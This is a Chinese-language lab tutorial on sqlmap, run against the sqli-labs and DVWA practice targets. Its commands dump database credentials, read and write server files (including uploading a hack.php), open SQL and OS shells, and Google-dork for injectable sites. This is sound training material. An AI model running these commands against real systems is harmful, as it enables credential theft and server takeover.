Abstract: SQLMap的应用,使用sqli-labsdvwa 作为实验平台。

Table of Contents

  1. 用 SQLMap 查看数据库
  2. 查看 security 库中的表
  3. 查看 users 表中所有的字段名
  4. 查看 security.users 表中的内容
  5. 使用 method 和 POST 参数
  6. 使用 cookie
  7. 使用 user-agent
  8. sqlmap 读文件
  9. sqlmap 写文件
  10. sqlmap 执行 sql语句
  11. sqlmap -g
  12. sqlmap -r
  13. sqlmap --os-shell

SQLMap 查看数据库

1
sqlmap -u "http://192.168.100.119/sqli-labs/Less-8/?id=1" --dbs

得出结果:

查看 security 库中的表

1
sqlmap -u "http://192.168.100.119/sqli-labs/Less-8/?id=1" -D security --tables

得出结果:

查看 users 表中所有的字段名

1
sqlmap -u "http://192.168.100.119/sqli-labs/Less-8/?id=1" -D security -T  users --columns

得出结果:

查看 security.users 表中的内容

1
sqlmap -u "http://192.168.100.119/sqli-labs/Less-8/?id=1" -D security -T  users -C id,password,username --dump

得出结果:

使用 methodPOST 参数

1
sqlmap -u "http://192.168.100.119/sqli-labs/Less-11/" --method="post" --data="uname=admin&passwd=admin" --dbs

得到结果:

/sqli-labs/Less-11 中,由于只涉及登录功能,没有登录以后的操作,所以用 --cookie 无法抓取相应数据。 故使用 dvwa 测试。

登录账号,查看 cookie

1
sqlmap -u "http://192.168.100.119/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ar14vrf1ie0kc399hgpmqc1fd2" --dbs

得到结果:

使用 user-agent

打开 /sqli-labs/Less-1 中的 index.php ,添加如下程序。

即当程序检测到 user-agent 值为 bp 时,直接退出程序。

1
sqlmap -u "http://192.168.100.119/sqli-labs/Less-1/?id=1" --user-agent="bp" --dbs

1
sqlmap -u "http://192.168.100.119/sqli-labs/Less-1/?id=1" --user-agent="sqlmap" --dbs

把添加的语句删除,保存退出,重新用 sqlmap 尝试读取数据库信息

爬取数据库成功,由此可见,命令行设置 --user-agent是起到一定作用, 有些网站通过对 user-agent参数的检测,达到对 SQLMap 的屏蔽。

注意:每次完成后,记住对 /sqlmap/output/ 文件夹下对应目录的清理。

另一种方法是设置代理用 burpsuite 抓包

1
sqlmap -u "http://192.168.100.52/sqli-labs/Less-3/?id=1" --user-agent="burpsuite" --proxy="http://127.0.0.1:8080"

打开 burpsuite 抓取 sqlmap 数据包

可以看到 user-agent 变为我们设置的值了。

sqlmap 读文件

1
sqlmap -u "http://192.168.100.52/sqli-labs/Less-1/?id=1" --file-read="/var/www/html/sqli-labs/index.html"

点击查看读取的文件

打开文件

sqlmap 写文件

在本地新建 hack.php 文件,

1
sqlmap -u "http://192.168.100.52/sqli-labs/Less-1/?id=1" --file-write="hack.php" --file-dest="/var/myfile/hack.php" -v 5

在服务器中查看

sqlmap 执行 sql语句

1
sqlmap -u "http://192.168.100.52/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ri8va1c84en9d40b7l1o1lle53" --sql-shell

然后执行

1
2
select @@datadir;
select user();

sqlmap -g

1
sqlmap -g "inurl:?id=1"

sqlmap -r

打开 burpsuite 抓包,

Request 里面的内容,复制粘贴到 less12.txt 中,打开 sqlmap

1
sqlmap -r less12.txt

sqlmap --os-shell

1
sqlmap -u "http://192.168.100.119/sqli-labs/Less-1/?id=1" --os-shell

sqli-labsdvwa 都会提示

尝试了 WindowCentOS 系统,还是失败。在网上搜到参考文章,照着修改权限,依然没有成功。

参考文章

DVWA(linux下)利用sqlmap进行–os-shell注入不能成功的错误处理

最后

在虚拟机中把,html 文件夹权限修改

1
2
cd /var/www/
chmod 777 html
1
sqlmap -u "http://192.168.100.52/sqli-labs/Less-3/?id=1" --os-shell